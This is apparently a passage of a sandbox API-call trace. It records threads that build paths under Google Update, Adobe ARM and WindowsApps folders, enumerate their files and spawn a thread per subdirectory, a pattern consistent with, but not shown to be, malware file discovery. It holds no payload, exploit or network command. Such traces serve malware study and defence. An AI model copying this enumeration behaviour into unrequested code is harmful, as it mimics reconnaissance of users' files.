	[0079.284] wcscmp (_String1="goopdateres_zh-CN.dll", _String2=".") returned 1
	[0079.284] wcscmp (_String1="goopdateres_zh-CN.dll", _String2="..") returned 1
	[0079.284] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc5734ac, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_zh-TW.dll", cAlternateFileName="GO5219~1.DLL")) returned 1
	[0079.284] wcscmp (_String1="goopdateres_zh-TW.dll", _String2=".") returned 1
	[0079.284] wcscmp (_String1="goopdateres_zh-TW.dll", _String2="..") returned 1
	[0079.284] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x99850, dwReserved0=0x0, dwReserved1=0x0, cFileName="npGoogleUpdate3.dll", cAlternateFileName="NPGOOG~1.DLL")) returned 1
	[0079.284] wcscmp (_String1="npGoogleUpdate3.dll", _String2=".") returned 1
	[0079.284] wcscmp (_String1="npGoogleUpdate3.dll", _String2="..") returned 1
	[0079.284] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x32650, dwReserved0=0x0, dwReserved1=0x0, cFileName="psmachine.dll", cAlternateFileName="PSMACH~1.DLL")) returned 1
	[0079.284] wcscmp (_String1="psmachine.dll", _String2=".") returned 1
	[0079.284] wcscmp (_String1="psmachine.dll", _String2="..") returned 1
	[0079.284] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="psmachine_64.dll", cAlternateFileName="PSMACH~2.DLL")) returned 1
	[0079.284] wcscmp (_String1="psmachine_64.dll", _String2=".") returned 1
	[0079.284] wcscmp (_String1="psmachine_64.dll", _String2="..") returned 1
	[0079.284] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x32650, dwReserved0=0x0, dwReserved1=0x0, cFileName="psuser.dll", cAlternateFileName="")) returned 1
	[0079.284] wcscmp (_String1="psuser.dll", _String2=".") returned 1
	[0079.284] wcscmp (_String1="psuser.dll", _String2="..") returned 1
	[0079.284] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="psuser_64.dll", cAlternateFileName="PSUSER~1.DLL")) returned 1
	[0079.285] wcscmp (_String1="psuser_64.dll", _String2=".") returned 1
	[0079.285] wcscmp (_String1="psuser_64.dll", _String2="..") returned 1
	[0079.285] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="psuser_64.dll", cAlternateFileName="PSUSER~1.DLL")) returned 0
	[0079.285] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecb20) returned 1
	[0079.286] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734290) returned 1

Thread:
	id = 742
	os_tid = 0x1ac4

	[0079.272] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x47ecb90
	[0079.272] wcscpy (in: _Dest=0x47ecb90, _Source="C:\\Program Files (x86)\\Google\\Update2\\Download" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Download") returned="C:\\Program Files (x86)\\Google\\Update2\\Download"
	[0079.272] wcscat (in: _Dest=0x47ecb90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Download\\") returned="C:\\Program Files (x86)\\Google\\Update2\\Download\\"
	[0079.272] wcscat (in: _Dest=0x47ecb90, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Download\\*") returned="C:\\Program Files (x86)\\Google\\Update2\\Download\\*"
	[0079.273] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df6a18
	[0079.273] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\*", lpFindFileData=0x2df6a18 | out: lpFindFileData=0x2df6a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacfb8
	[0079.274] wcscmp (_String1=".", _String2=".") returned 0
	[0079.274] FindNextFileW (in: hFindFile=0x2dacfb8, lpFindFileData=0x2df6a18 | out: lpFindFileData=0x2df6a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.274] wcscmp (_String1="..", _String2=".") returned 1
	[0079.274] wcscmp (_String1="..", _String2="..") returned 0
	[0079.274] FindNextFileW (in: hFindFile=0x2dacfb8, lpFindFileData=0x2df6a18 | out: lpFindFileData=0x2df6a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8A69D345-D564-463C-AFF1-A69D9E530F96}", cAlternateFileName="{8A69D~1")) returned 1
	[0079.274] wcscmp (_String1="{8A69D345-D564-463C-AFF1-A69D9E530F96}", _String2=".") returned 1
	[0079.275] wcscmp (_String1="{8A69D345-D564-463C-AFF1-A69D9E530F96}", _String2="..") returned 1
	[0079.275] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2d7df78
	[0079.275] wcscpy (in: _Dest=0x2d7df78, _Source="C:\\Program Files (x86)\\Google\\Update2\\Download" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Download") returned="C:\\Program Files (x86)\\Google\\Update2\\Download"
	[0079.275] wcscat (in: _Dest=0x2d7df78, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Download\\") returned="C:\\Program Files (x86)\\Google\\Update2\\Download\\"
	[0079.275] wcscat (in: _Dest=0x2d7df78, _Source="{8A69D345-D564-463C-AFF1-A69D9E530F96}" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}") returned="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}"
	[0079.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7df78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x116c
	[0079.275] FindNextFileW (in: hFindFile=0x2dacfb8, lpFindFileData=0x2df6a18 | out: lpFindFileData=0x2df6a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8A69D345-D564-463C-AFF1-A69D9E530F96}", cAlternateFileName="{8A69D~1")) returned 0
	[0079.275] FindClose (in: hFindFile=0x2dacfb8 | out: hFindFile=0x2dacfb8) returned 1
	[0079.276] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df6a18) returned 1
	[0079.276] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecb90) returned 1
	[0079.276] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79fd0) returned 1

Thread:
	id = 743
	os_tid = 0x1ac8

	[0079.278] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780508
	[0079.278] wcscpy (in: _Dest=0x4780508, _Source="C:\\Program Files (x86)\\Google\\Update2\\Install" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Install") returned="C:\\Program Files (x86)\\Google\\Update2\\Install"
	[0079.278] wcscat (in: _Dest=0x4780508, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Install\\") returned="C:\\Program Files (x86)\\Google\\Update2\\Install\\"
	[0079.278] wcscat (in: _Dest=0x4780508, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Install\\*") returned="C:\\Program Files (x86)\\Google\\Update2\\Install\\*"
	[0079.278] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df6a18
	[0079.278] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\*", lpFindFileData=0x2df6a18 | out: lpFindFileData=0x2df6a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.286] wcscmp (_String1=".", _String2=".") returned 0
	[0079.286] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df6a18 | out: lpFindFileData=0x2df6a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.287] wcscmp (_String1="..", _String2=".") returned 1
	[0079.287] wcscmp (_String1="..", _String2="..") returned 0
	[0079.287] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df6a18 | out: lpFindFileData=0x2df6a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{6124B51C-167F-4C55-9898-E7167409448B}", cAlternateFileName="{6124B~1")) returned 1
	[0079.287] wcscmp (_String1="{6124B51C-167F-4C55-9898-E7167409448B}", _String2=".") returned 1
	[0079.287] wcscmp (_String1="{6124B51C-167F-4C55-9898-E7167409448B}", _String2="..") returned 1
	[0079.287] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2d7d288
	[0079.287] wcscpy (in: _Dest=0x2d7d288, _Source="C:\\Program Files (x86)\\Google\\Update2\\Install" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Install") returned="C:\\Program Files (x86)\\Google\\Update2\\Install"
	[0079.287] wcscat (in: _Dest=0x2d7d288, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Install\\") returned="C:\\Program Files (x86)\\Google\\Update2\\Install\\"
	[0079.287] wcscat (in: _Dest=0x2d7d288, _Source="{6124B51C-167F-4C55-9898-E7167409448B}" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}") returned="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}"
	[0079.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7d288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1168
	[0079.288] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df6a18 | out: lpFindFileData=0x2df6a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{6124B51C-167F-4C55-9898-E7167409448B}", cAlternateFileName="{6124B~1")) returned 0
	[0079.288] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.288] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df6a18) returned 1
	[0079.288] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780508) returned 1
	[0079.288] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a038) returned 1

Thread:
	id = 744
	os_tid = 0x1acc

	[0079.334] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4780508
	[0079.335] wcscpy (in: _Dest=0x4780508, _Source="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033"
	[0079.335] wcscat (in: _Dest=0x4780508, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\"
	[0079.335] wcscat (in: _Dest=0x4780508, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\*") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\*"
	[0079.335] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dfa170
	[0079.335] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\*", lpFindFileData=0x2dfa170 | out: lpFindFileData=0x2dfa170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad5f8
	[0079.336] wcscmp (_String1=".", _String2=".") returned 0
	[0079.336] FindNextFileW (in: hFindFile=0x2dad5f8, lpFindFileData=0x2dfa170 | out: lpFindFileData=0x2dfa170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.336] wcscmp (_String1="..", _String2=".") returned 1
	[0079.336] wcscmp (_String1="..", _String2="..") returned 0
	[0079.336] FindNextFileW (in: hFindFile=0x2dad5f8, lpFindFileData=0x2dfa170 | out: lpFindFileData=0x2dfa170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.336] FindClose (in: hFindFile=0x2dad5f8 | out: hFindFile=0x2dad5f8) returned 1
	[0079.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa170) returned 1
	[0079.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780508) returned 1
	[0079.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a448) returned 1

Thread:
	id = 745
	os_tid = 0x1ad0

	[0079.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4780508
	[0079.340] wcscpy (in: _Dest=0x4780508, _Source="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070"
	[0079.340] wcscat (in: _Dest=0x4780508, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\"
	[0079.340] wcscat (in: _Dest=0x4780508, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\*") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\*"
	[0079.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dfa170
	[0079.340] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\*", lpFindFileData=0x2dfa170 | out: lpFindFileData=0x2dfa170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad5f8
	[0079.340] wcscmp (_String1=".", _String2=".") returned 0
	[0079.340] FindNextFileW (in: hFindFile=0x2dad5f8, lpFindFileData=0x2dfa170 | out: lpFindFileData=0x2dfa170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.340] wcscmp (_String1="..", _String2=".") returned 1
	[0079.340] wcscmp (_String1="..", _String2="..") returned 0
	[0079.340] FindNextFileW (in: hFindFile=0x2dad5f8, lpFindFileData=0x2dfa170 | out: lpFindFileData=0x2dfa170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.340] FindClose (in: hFindFile=0x2dad5f8 | out: hFindFile=0x2dad5f8) returned 1
	[0079.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa170) returned 1
	[0079.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780508) returned 1
	[0079.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a170) returned 1

Thread:
	id = 746
	os_tid = 0x1ad4

	[0079.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2dfaa00
	[0079.342] wcscpy (in: _Dest=0x2dfaa00, _Source="C:\\ProgramData\\Adobe\\ARM\\S" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\S") returned="C:\\ProgramData\\Adobe\\ARM\\S"
	[0079.342] wcscat (in: _Dest=0x2dfaa00, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\S\\") returned="C:\\ProgramData\\Adobe\\ARM\\S\\"
	[0079.342] wcscat (in: _Dest=0x2dfaa00, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\S\\*") returned="C:\\ProgramData\\Adobe\\ARM\\S\\*"
	[0079.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dfa170
	[0079.342] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\S\\*", lpFindFileData=0x2dfa170 | out: lpFindFileData=0x2dfa170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad5f8
	[0079.342] wcscmp (_String1=".", _String2=".") returned 0
	[0079.342] FindNextFileW (in: hFindFile=0x2dad5f8, lpFindFileData=0x2dfa170 | out: lpFindFileData=0x2dfa170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.342] wcscmp (_String1="..", _String2=".") returned 1
	[0079.342] wcscmp (_String1="..", _String2="..") returned 0
	[0079.342] FindNextFileW (in: hFindFile=0x2dad5f8, lpFindFileData=0x2dfa170 | out: lpFindFileData=0x2dfa170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.342] FindClose (in: hFindFile=0x2dad5f8 | out: hFindFile=0x2dad5f8) returned 1
	[0079.343] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa170) returned 1
	[0079.343] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa00) returned 1
	[0079.343] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dad078) returned 1

Thread:
	id = 747
	os_tid = 0x1ad8

	[0079.359] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2d6feb8
	[0079.359] wcscpy (in: _Dest=0x2d6feb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe"
	[0079.359] wcscat (in: _Dest=0x2d6feb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\"
	[0079.359] wcscat (in: _Dest=0x2d6feb8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\*"
	[0079.359] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df8228
